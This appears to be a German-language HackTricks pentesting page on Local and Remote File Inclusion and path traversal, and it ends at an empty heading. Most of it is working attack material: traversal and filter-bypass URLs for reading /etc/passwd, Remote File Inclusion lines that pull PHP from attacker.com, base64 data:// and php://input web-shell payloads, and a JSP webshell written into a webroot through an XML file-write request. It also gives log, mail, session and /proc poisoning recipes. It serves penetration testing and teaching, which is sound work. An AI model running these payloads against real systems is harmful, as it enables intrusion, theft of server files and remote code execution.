File Inclusion/Path traversal
Reading time: 29 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
File Inclusion
Remote File Inclusion (RFI): Die Datei wird von einem remote server geladen (Am besten: du kannst den code schreiben und der server wird ihn ausführen). In php ist dies standardmäßig deaktiviert (allow_url_include).
Local File Inclusion (LFI): Der server lädt eine lokale Datei.
Die Verwundbarkeit tritt auf, wenn der user auf irgendeine Weise die Datei kontrollieren kann, die vom server geladen werden soll.
Anfällige PHP-Funktionen: require, require_once, include, include_once
Ein nützliches Tool, um diese Verwundbarkeit auszunutzen: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE Dateien
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Durch das Zusammenführen mehrerer *nix LFI-Listen und dem Hinzufügen weiterer Pfade habe ich diese erstellt:
Versuche auch, /
durch \
zu ersetzen
Versuche auch, ../../../../../
hinzuzufügen
Eine Liste, die verschiedene Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle existiert), finden Sie hier
Windows
Zusammenführung verschiedener Wordlists:
Versuche auch, /
durch \
zu ersetzen
Versuche außerdem, C:/
zu entfernen und ../../../../../
hinzuzufügen
Eine Liste, die verschiedene Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle existiert), finden Sie hier
OS X
Siehe die LFI-Liste für Linux.
Basic LFI and bypasses
Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal-Sequenzen nicht rekursiv entfernt
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass das Anhängen weiterer Zeichen am Ende des übergebenen Strings (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Dies ist seit PHP 5.4 behoben
Encoding
Du könntest nicht-standardmäßige encodings wie double URL encode (und andere) verwenden:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Aus vorhandenem Ordner
Möglicherweise überprüft das Back-end den Ordnerpfad:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Erkundung von Verzeichnissen im Dateisystem eines Servers
Das Dateisystem eines Servers kann rekursiv durchsucht werden, um Verzeichnisse, nicht nur Dateien, zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Abfragen auf das Vorhandensein bestimmter Ordner. Unten folgt eine detaillierte Methode, um dies zu erreichen:
- Bestimme die Verzeichnistiefe: Ermittle die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei
/etc/passwd
abrufst (anwendbar, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Nach Ordnern suchen: Hänge den Namen des vermuteten Ordners (z. B.
private
) an die URL an, und navigiere dann zurück zu/etc/passwd
. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Ergebnisse interpretieren: Die Antwort des Servers zeigt an, ob der Ordner existiert:
- Fehler / Keine Ausgabe: Der Ordner
private
existiert wahrscheinlich nicht an dem angegebenen Ort. - Inhalt von
/etc/passwd
: Das Vorhandensein des Ordnersprivate
ist bestätigt.
- Rekursive Erkundung: Gefundene Ordner können weiter nach Unterverzeichnissen oder Dateien untersucht werden, entweder mit derselben Technik oder traditionellen Local File Inclusion (LFI)-Methoden.
Um Verzeichnisse an anderen Stellen im Dateisystem zu erkunden, passe das Payload entsprechend an. Zum Beispiel, um zu prüfen, ob /var/www/
ein private
-Verzeichnis enthält (angenommen, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird oft eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad so zu erstellen, dass er, nachdem die Sicherheitsmaßnahme ihn verändert hat, immer noch auf die gewünschte Datei zeigt.
In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Funktionsweise des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
werden alle als derselbe Pfad behandelt.- Wenn die letzten 6 Zeichen
passwd
sind, ändert das Anhängen eines/
(alsopasswd/
) die Ziel-Datei nicht. - Ebenso, wenn
.php
an einen Dateipfad angehängt wird (wieshellcode.php
), verändert das Hinzufügen von/.
am Ende nicht die aufgerufene Datei.
Die folgenden Beispiele zeigen, wie man path truncation nutzen kann, um auf /etc/passwd
zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In diesen Szenarien könnte die Anzahl benötigter Traversals etwa 2027 betragen, aber diese Zahl kann je nach server's Konfiguration variieren.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Zeichenfolgen durch den server effektiv zu ignorieren. - Determining the Required Number of Traversals: Durch Versuch und Irrtum kann man die genaue Anzahl von
../
-Sequenzen herausfinden, die notwendig sind, um zum Root-Verzeichnis und anschließend zu/etc/passwd
zu gelangen, wobei sichergestellt wird, dass angehängte Strings (wie.php
) neutralisiert werden, aber der gewünschte Pfad (/etc/passwd
) intakt bleibt. - Starting with a Fake Directory: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie
a/
) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme eingesetzt oder um die Anforderungen der Pfadparsing-Logik des server zu erfüllen.
Beim Einsatz von path truncation-Techniken ist es entscheidend, das Path-Parsing-Verhalten des server und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Diese Verwundbarkeit wurde in PHP 5.3 behoben.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php ist dies standardmäßig deaktiviert, weil allow_url_include
auf Off steht. Es muss auf On gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Wenn aus irgendeinem Grund allow_url_include
On ist, PHP den Zugriff auf externe Webseiten aber filtert, kann man laut diesem Beitrag zum Beispiel das data protocol mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Im vorherigen Code wurde das abschließende +.txt
hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf .txt
endete, also endet die Zeichenkette damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der eigentliche PHP-Code eingebunden (und daher ausgeführt).
Ein weiteres Beispiel, das nicht das php://
-Protokoll verwendet, wäre:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Root-Element
In python in einem Code wie diesem:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Wenn der Benutzer einen absolute path an file_name
übergibt, wird der vorherige Pfad einfach entfernt:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Es ist das beabsichtigte Verhalten gemäß the docs:
Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird von der absoluten Pfadkomponente fortgesetzt.
Java Verzeichnisse auflisten
Es scheint, dass wenn du eine Path Traversal in Java hast und du nach einem Verzeichnis fragst anstatt nach einer Datei, eine Auflistung des Verzeichnisses zurückgegeben wird. Das tritt in anderen Sprachen nicht auf (soweit ich weiß).
Top 25 Parameter
Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI) Schwachstellen sein könnten (von link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI mit PHP wrappers & protocols
php://filter
PHP-Filter erlauben es, grundlegende Modifikationsoperationen an den Daten durchzuführen, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")- Beachte, dass dieser Filter in modernen PHP-Versionen nicht mehr vorhanden ist
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Wandelt in eine andere Kodierung um (convert.iconv.<input_enc>.<output_enc>
). Um die Liste aller unterstützten Kodierungen zu erhalten, führe in der Konsole aus:iconv -l
warning
Durch Missbrauch des convert.iconv.*
-Konvertierungsfilters kannst du beliebigen Text erzeugen, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Informationen siehe LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Komprimiert den Inhalt (nützlich beim Exfiltrieren großer Datenmengen)zlib.inflate
: Dekomprimiert die Daten- Encryption Filters
mcrypt.*
: veraltetmdecrypt.*
: veraltet- Other Filters
- Wenn man in PHP
var_dump(stream_get_filters());
ausführt, findest du ein paar unerwartete Filter: consumed
dechunk
: kehrt HTTP Chunked-Encoding umconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Der Abschnitt "php://filter" beachtet die Groß-/Kleinschreibung nicht
Verwendung von php filters als Oracle zum Lesen beliebiger Dateien
In this post wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer boolean exfiltration of the file (char by char) using php filters als Oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so zu vergrößern, dass php eine Exception wirft.
Im Originalbeitrag findest du eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:
- Verwende den Codec
UCS-4LE
, um das führende Zeichen des Textes an seinem Platz zu belassen und die Länge des Strings exponentiell anwachsen zu lassen. - Damit wird ein Text erzeugt, der so groß ist, wenn der Anfangsbuchstabe korrekt geraten wurde, dass php einen error auslöst.
- Der Filter dechunk wird alles entfernen, wenn das erste Zeichen kein hexadecimal ist, sodass wir feststellen können, ob das erste Zeichen hex ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern abhängig vom geratenen Zeichen), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir beobachten, wann genügend Transformationen angewendet wurden, damit es kein hexadecimal Zeichen mehr ist. Denn wenn es hex ist, löscht dechunk es nicht und die anfängliche Bombe verursacht einen php error.
- Der Codec convert.iconv.UNICODE.CP930 verwandelt jeden Buchstaben in den folgenden (also nach diesem Codec: a -> b). Das erlaubt uns herauszufinden, ob das erste Zeichen z.B. ein
a
ist, denn wenn wir diesen Codec sechsmal anwenden (a->b->c->d->e->f->g), gehört das Zeichen nicht mehr zum hexadecimal-Bereich, daher löscht dechunk es nicht und der php error wird ausgelöst, weil er sich mit der initialen Bombe multipliziert. - Durch die Verwendung anderer Transformationen wie rot13 am Anfang ist es möglich, andere chars zu leak'en wie n, o, p, q, r (und andere Codecs können verwendet werden, um andere Buchstaben in den hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-encodiert werden und die ersten 2 Buchstaben leak'en, um die Zahl zu leak'en.
- Das finale Problem ist zu sehen, wie man mehr als das Anfangszeichen leak'en kann. Durch die Verwendung von Order-Memory-Filtern wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und an die erste Position andere Buchstaben des Textes zu bringen.
- Und um further data erhalten zu können, besteht die Idee darin, mit generate 2 bytes of junk data at the beginning mittels convert.iconv.UTF16.UTF16 2 Byte Junk am Anfang zu erzeugen, UCS-4LE anzuwenden, damit es pivot with the next 2 bytes, und delete the data until the junk data (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Führe dies so lange fort, bis du das gewünschte Bit zum leak'en erreicht hast.
Im Beitrag wurde außerdem ein Tool geleaked, um dies automatisch auszuführen: php_filters_chain_oracle_exploit.
php://fd
Dieser Wrapper erlaubt den Zugriff auf file descriptors, die der Prozess offen hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrate:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Du kannst auch php://stdin, php://stdout und php://stderr verwenden, um jeweils auf die file descriptors 0, 1 und 2 zuzugreifen (nicht sicher, wie das bei einem Angriff nützlich sein könnte)
zip:// and rar://
Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.
Um das rar-Protokoll missbrauchen zu können, muss es speziell aktiviert werden.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Beachte, dass dieses Protokoll durch php-Konfigurationen allow_url_open
und allow_url_include
eingeschränkt ist
expect://
Expect muss aktiviert sein. Du kannst Code damit ausführen:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Gib dein payload in den POST-Parametern an:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Eine .phar
-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include
zur Dateiladung verwendet. Der unten stehende PHP-Code zeigt die Erstellung einer .phar
-Datei:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Um die .phar
-Datei zu erstellen, sollte der folgende Befehl ausgeführt werden:
php --define phar.readonly=0 create_path.php
Beim Ausführen wird eine Datei mit dem Namen test.phar
erstellt, die möglicherweise zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden kann.
In Fällen, in denen das LFI nur das Lesen von Dateien durchführt, ohne den darin enthaltenen PHP-Code auszuführen — z. B. durch Funktionen wie file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
oder filesize()
— könnte versucht werden, eine deserialization vulnerability auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das phar
-Protokoll zusammen.
Für ein detailliertes Verständnis zur Ausnutzung von deserialization vulnerabilities im Kontext von .phar
-Dateien siehe das unten verlinkte Dokument:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Es war möglich, any arbitrary file read from PHP that supports php filters zu missbrauchen, um RCE zu erlangen. Die detaillierte Beschreibung kann found in this post.
Sehr kurze Zusammenfassung: Ein 3 byte overflow im PHP-Heap wurde missbraucht, um die chain of free chunks einer bestimmten Größe zu verändern, um anything in any address schreiben zu können; daher wurde ein Hook hinzugefügt, der system
aufruft.
Es war möglich, durch Ausnutzung weiterer php filters Chunks mit bestimmten Größen zu allocen.
More protocols
Siehe weitere mögliche protocols to include here:
- php://memory and php://temp — Schreibt in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion attack nützlich sein kann)
- file:// — Zugriff auf das lokale Dateisystem
- http:// — Zugriff auf HTTP(s)-URLs
- ftp:// — Zugriff auf FTP(s)-URLs
- zlib:// — Kompressions-Streams
- glob:// — Findet Pfadnamen, die einem Muster entsprechen (gibt keine druckbaren Ergebnisse zurück, daher hier nicht wirklich nützlich)
- ssh2:// — Secure Shell 2
- ogg:// — Audiostreams (nicht nützlich, um arbitrary files zu lesen)
LFI via PHP's 'assert'
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn die Funktion 'assert' verwendet wird, da diese Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal-Zeichen wie ".." geprüft, aber nicht richtig bereinigt werden.
Zum Beispiel könnte PHP-Code so gestaltet sein, um directory traversal zu verhindern:
assert("strpos('$file', '..') === false") or die("");
Während dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
' and die(highlight_file('/etc/passwd')) or '
Ähnlich kann man zum Ausführen beliebiger Systembefehle Folgendes verwenden:
' and die(system("id")) or '
Es ist wichtig, URL-encode these payloads.
PHP Blind Path Traversal
warning
Diese Technik ist relevant in Fällen, in denen du den file path einer PHP function controlierst, die auf eine file accessiert, deren Inhalt du aber nicht sehen wirst (z. B. ein einfacher Aufruf von file()
), der Inhalt jedoch nicht angezeigt wird.
In this incredible post wird erklärt, wie ein blind path traversal über PHP-Filter ausgenutzt werden kann, um exfiltrate the content of a file via an error oracle.
Zusammengefasst verwendet die Technik die "UCS-4LE" encoding, um den Inhalt einer Datei so groß zu machen, dass die PHP-Funktion, die die Datei öffnet, einen error auslöst.
Um das erste Zeichen zu leak wird der Filter dechunk
zusammen mit anderen wie base64 oder rot13 verwendet; schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE eingesetzt, um andere Zeichen am Anfang zu platzieren und diese zu leak.
Funktionen, die möglicherweise verwundbar sind: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Für die technischen Details siehe den erwähnten Beitrag!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad mithilfe von nutzerkontrollierten Daten (z. B. einem Dateinamen oder einer URL) zusammensetzt, ohne zu kanonisieren und zu validieren, können ..
-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis ausbrechen und einen beliebigen Datei-Write verursachen. Wenn du die Payload in einem web-exposed directory ablegen kannst, erhältst du in der Regel unauthenticated RCE, indem du eine Webshell ablegst.
Typischer Exploit-Ablauf:
- Identifiziere ein write primitive in einem Endpoint oder Background-Worker, das einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Bestimme web-exposed directories. Häufige Beispiele:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Apache/PHP:
- Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Speicherverzeichnis in das webroot ausbricht, und füge deinen Webshell-Inhalt ein.
- Rufe die abgelegte Payload im Browser auf und führe Befehle aus.
Hinweise:
- Der verwundbare Service, der den Write durchführt, kann auf einem non-HTTP port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Web-Portal (anderer Port) wird später deine Payload servieren.
- In Java-Stacks werden diese Datei-Schreibvorgänge häufig mit einfacher
File
/Paths
-Konkatenation implementiert. Fehlende Kanonisierung/Allow-Listing ist der Kernfehler.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening that defeats this class of bugs:
- Auf einen kanonischen Pfad auflösen und durchsetzen, dass er ein Nachfahre eines allow-listed Basisverzeichnisses ist.
- Pfade ablehnen, die
..
, absolute Roots oder Laufwerksbuchstaben enthalten; bevorzugt generierte Dateinamen. - Den Writer als ein niedrig privilegiertes Konto ausführen und Schreibverzeichnisse von den bereitgestellten Root-Verzeichnissen trennen.
Remote File Inclusion
Explained previously, follow this link.
Via Apache/Nginx log file
Wenn der Apache- oder Nginx-Server innerhalb der include-Funktion anfällig für LFI ist, kannst du versuchen, auf /var/log/apache2/access.log
or /var/log/nginx/access.log
zuzugreifen, in den user agent oder in einen GET parameter eine php shell wie <?php system($_GET['c']); ?>
zu setzen und diese Datei einzubinden
warning
Beachte, dass wenn du doppelte Anführungszeichen für die Shell anstelle von einfacher Anführungszeichen verwendest, die doppelten Anführungszeichen in den String "quote;" umgewandelt werden, PHP dort einen Fehler werfen wird und nichts weiter ausgeführt wird.
Stelle außerdem sicher, dass du den payload korrekt schreibst oder PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler auslösen wird und du keine zweite Gelegenheit haben wirst.
Das kann auch in anderen Logs gemacht werden, aber sei vorsichtig, der Code in den Logs kann URL-codiert sein und das könnte die Shell zerstören. Der Header authorisation "basic" enthält "user:password" in Base64 und wird in den Logs decodiert. Die PHPShell könnte innerhalb dieses Headers eingefügt werden.
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Per E-Mail
Send a mail an ein internes Konto (user@localhost), das deinen PHP payload wie <?php echo system($_REQUEST["cmd"]); ?>
enthält, und versuche, die Mail des Benutzers mit einem Pfad wie /var/mail/<USERNAME>
oder /var/spool/mail/<USERNAME>
zu include.
Über /proc//fd/
- Lade viele shells hoch (zum Beispiel: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, wobei $PID die PID des Prozesses ist (kann per Brute-Force ermittelt werden) und $FD der file descriptor ist (kann ebenfalls per Brute-Force ermittelt werden)
Über /proc/self/environ
Ähnlich wie bei einer Logdatei: sende den payload im User-Agent; er wird in der /proc/self/environ-Datei reflektiert.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Wenn du eine Datei uploaden kannst, injiziere einfach die shell payload darin (z. B.: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Um die Datei lesbar zu halten, ist es am besten, den Inhalt in die Metadaten von Bildern/Dokumenten/PDFs einzubetten
Über ZIP-Datei-Upload
Lade eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greife darauf zu:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Über PHP Sessions
Prüfe, ob die Website PHP Session (PHPSESSID) verwendet
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP werden diese Sessions in /var/lib/php5/sess\[PHPSESSID]_ Dateien gespeichert.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Setze das Cookie auf <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Verwende LFI, um die PHP-Session-Datei einzubinden.
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Über ssh
Wenn ssh aktiv ist, überprüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf <HOME>/.ssh/id_rsa zuzugreifen
Über vsftpd Protokolle
Die Logs für den FTP-Server vsftpd befinden sich unter /var/log/vsftpd.log. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle existiert und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
- Injiziere ein PHP payload in das Benutzername-Feld während des Login-Prozesses.
- Nach der Injection nutze die LFI, um die Server-Logs von /var/log/vsftpd.log auszulesen.
Über php base64 filter (using base64)
Wie in this article gezeigt, ignoriert der PHP base64 filter einfach Non-base64. Du kannst das nutzen, um die Dateiendungsprüfung zu umgehen: wenn du base64 angibst, das mit ".php" endet, würde er einfach den "." ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
This writeup erklärt, dass du php filters verwenden kannst, um beliebige Inhalte als Ausgabe zu generieren. Das bedeutet im Wesentlichen, dass du beliebigen php code für das include erzeugen kannst, ohne ihn in eine Datei schreiben zu müssen.
Via segmentation fault
Lade eine Datei hoch, die temporär in /tmp
gespeichert wird, dann löse in derselben Anfrage einen segmentation fault aus — die temporäre Datei wird dann nicht gelöscht und du kannst danach suchen.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Wenn du eine Local File Inclusion gefunden hast und Nginx vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:
Via PHP_SESSION_UPLOAD_PROGRESS
